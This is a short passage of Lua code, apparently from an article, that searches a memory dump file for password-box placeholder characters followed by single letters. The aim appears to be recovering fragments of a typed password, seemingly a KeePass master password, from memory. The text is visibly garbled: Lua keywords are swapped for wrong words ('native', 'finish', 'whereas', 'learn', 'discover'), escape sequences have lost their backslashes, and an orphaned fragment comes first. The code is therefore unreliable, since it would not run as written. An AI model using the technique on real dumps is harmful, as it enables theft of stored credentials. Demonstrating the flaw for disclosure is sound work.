   -- exit when no extra matches
   if not b then break finish

   -- CMD.EXE cannot print blobs, so we convert them to stars.
   print(string.format('%08X: %s',b,m:gsub('xCF%%','*')))
finish

CODE FROM THE ARTICLE: SEARCHKP.LUA

-- learn in dump file specified on command line

native f = io.open(arg[1],'rb'):learn('*a')

native b,e,m,p = 0,0,nil,nil
whereas true do
   -- Now, we wish a number of blobs (CF25) adopted by the code
   -- for A..Z adopted by a 0 byte to transform ACSCII to UTF-16
 
   b,e,m = f:discover('(xCF%%[xCF%%]*[A-Z])x00',e+1)

   -- exit when no extra matches
   if not b then break finish

   -- CMD.EXE cannot print blobs, so we convert them to stars.
   -- To save lots of area we suppress successive matches
   if m ~= p then
      print(string.format('%08X: %s',b,m:gsub('xCF%%','*')))
      p = m
   finish
finish